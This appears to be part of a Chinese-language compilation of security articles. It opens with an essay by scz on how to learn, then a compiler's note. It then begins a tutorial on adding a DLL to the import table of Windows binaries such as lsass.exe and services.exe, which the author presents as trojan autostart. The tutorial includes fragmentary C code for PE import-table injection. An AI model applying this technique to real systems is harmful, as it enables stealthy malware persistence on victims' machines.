c.rar_C/S

你尽力了吗

scz(小四哥)

很多人问如何入门如何入门，我却不知道要问的是入什么门。很少把某些好文章耐心从头看

完，我这次就深有体会。比如袁哥的 sniffer 原理，一直以为自己对 sniffer 原理很清楚的，

所以也就不曾仔细看过袁哥的这篇。后来有天晚上和袁哥讨论，如何通过端口读写直接获取

mac 地址，为什么 antisniff 可以获得真正的 mac 地址，而不受更改 mac 地址技术的影响，

如何在 linux 下获得真正的 mac 地址。我一直对 linux 下的端口读写心存疑虑，总觉得在保

护模式下的端口都做了内存映象等等。结果袁哥问了我一句，你仔细看我写的文章没有，我

楞，最近因为要印刷月刊，我整理以前的很多文档，被迫认真过滤它们，才发现袁哥的文章

多少资源。BBS 是真正能学到东西的地方吗？rain 说不是的，我说也不是的。不过这里能开

阔人的视野，能得到对大方向的指引，足够了。我一直都希望大家从这里学到的不是技术本

身，而是学习方法和一种不再狂热的淡然。很多技术，明天就会过时，如果你掌握的是学习

方法，那你还有下一个机会，如果你掌握的仅仅是这个技术本身，你就没有机会了。其实我

对系统安全是真不懂，因为我一直都喜欢看程序写程序却不喜欢也没有能力攻击谁谁的主机

/站点。我所能在这里做的是，为大家提供一个方向，一种让你的狂热归于淡然的说教。如

果你连<Windows NT 设备驱动程序编写>;、< win9x 系统编程>;都没有看过，却要写个什么

隐藏自己的木马，搞笑。如果你看都不看汇编语言，偏要问 exploit code 的原理，那我无法

回答也不想回答你。总有人责问，要讨个说法纭纭，说什么提问却没有回答。不回答已经是

正确的处理方式了，至少没有回你一句，看书去，对不对，至少没有扰乱版面让你生闷气。

刻问什么主页在哪里？前面刚刚讨论过如何修改 mac 地址，后面马上又来一个，前后相差

不过 3 篇文章。选择沉默已经是很多朋友忍耐力的优异表现了。很多东西都是可以举一反三

的。vertex 的 lids，被 packetstorm 天天追踪更新，你要是看了 THC 的那三篇，觉得理解一

个就理解了一堆，都是内核模块上的手脚。你不看你怎么知道。我不想在这里陷入具体技术

问题的讨论中去，你要是觉得该做点什么了，就自己去看自己去找。没有什么人摆什么架子，

也没有什么人生来就是干这个的。你自己问自己，尽力了吗？

注：

Scz（小四哥）的这篇文章不愧为经典之作，每次看了都会有新的感悟，说得实在太有道理

了，我想没有一个人会反对他这篇文章说的话，这也是我把它放上来的原因，说的题外话，

在这里的所有文章都是从各个组织以及个人博客里面摘下来的，包括 xfocus、whitecell、

pediy、safechina、csdn 等等，在这里感谢各高手的无私开源共享精神，我没有经过原作者

同意擅自把文章整理并发布出来，希望原作者不要告我侵犯版权，这份文档本来是为了方便

自己学习而整理的，后来还是觉得放出来让大家都能用到这样比较好，文章整理得比较乱，

主要是因为它们在我硬盘的时候没有很好的分类，而又因为时间和精力的关系，我也没有很

好的进行排版，所以有错的地方以及排版乱的地方，大家可以参考原文出处以及利用 google

本文档请不要用于商业用途，文章如需转载，请务必标明原作者以及原文出处，对于没有找

到作者的，也请务必说明。

本资料由 L4bm0sL4bm0s@gmail.com 收集整理，在这里感谢他所做的体力劳动；）

修改导入表载入 DLL

http://www.safechina.org/viewthread.php?tid=1215

关于修改 EXE 文件的导入表,实际上是一个很古老的话题了(如果您是此中高手,请不要在这

成员是在链接的时候由链接器指定,如果使用 VC 来编写程序,可以使用 link 中的/filealign 来

调整文件对齐的大小.这里,就是利用这些空隙来使 EXE 在启动时载入 DLL(类似于一些病毒

的技术),同时并不改变文件的大小.如何实现?还是要修改导入表.然而这种方法的缺点也是很

明显的,并不是每个 EXE 都有足够的空间让我们来插入数据,按照我的测试,在 Windows 2003

Enterprise sp1 中,lsass.exe 以及 services.exe 都是有足够的空间进行插入,而在 Windows 2000

Advance Server sp4 中 ,lsass.exe 无 法 插 入 ,services.exe 可 以 插 入 . 这 些 EXE 文 件 的

FileAlignment 为 0x200H.为什么选择这些 exe 文件?说到这里我的意图已经很明显了,黑客之

门便是利用这种方法实现自启动的木马.

上面说了堆废话,现在直接贴上代码,具体实现请见程序的注释.这里假定您对 PE 格式有

GetEnclosingSectionHeader(

DWORD rva,

PIMAGE_NT_HEADERS pNTHeader

)

{

PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION32(pNTHeader);

unsigned i;

for ( i=0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )

{

// Is the RVA within this section?

}

AddImportDll(

HANDLE hFile,

DWORD dwBase,

PIMAGE_NT_HEADERS pNTHeader

)

{

//

// 通过

OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress

// 获得导入表的 RVA, 利用此 RVA 找到 ImportTable 所在的 Section,之后计算 Offset,公

式:

// Offset = (INT)(pSection->VirtualAddress - pSection->PointerToRawData)

// 之后利用 Offset 来定位文件中 ImportTable 的位置.

//

if(!pSection)

{

fprintf(stderr, "No Import Table..\n");

return -1;

}

Offset = (int) (pSection->VirtualAddress - pSection->PointerToRawData);

//

//

// 取出导入的 DLL 的个数

{

if ((pImportDesc->TimeDateStamp==0 ) && (pImportDesc->Name==0))

break;

pThunk = (PIMAGE_THUNK_DATA)(pImportDesc->Characteristics);

pThunkIAT = (PIMAGE_THUNK_DATA)(pImportDesc->FirstThunk);

if(pThunk == 0 && pThunkIAT == 0)

nImportDllCount++;

pImportDesc++;

}

//

// 恢复 pImportDesc 的值,方便下面的复制当前导入表的操作.

DWORD dwEndOfRawDataAddr = pSection->PointerToRawData +

pSection->Misc.VirtualSize;

PIMAGE_IMPORT_DESCRIPTOR pImportDescVector =

(PIMAGE_IMPORT_DESCRIPTOR)HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY,20 * (nImportDllCount+1));

if(pImportDescVector == NULL)

{

fprintf(stderr, "HeapAlloc() failed. --err: %d\n", GetLastError());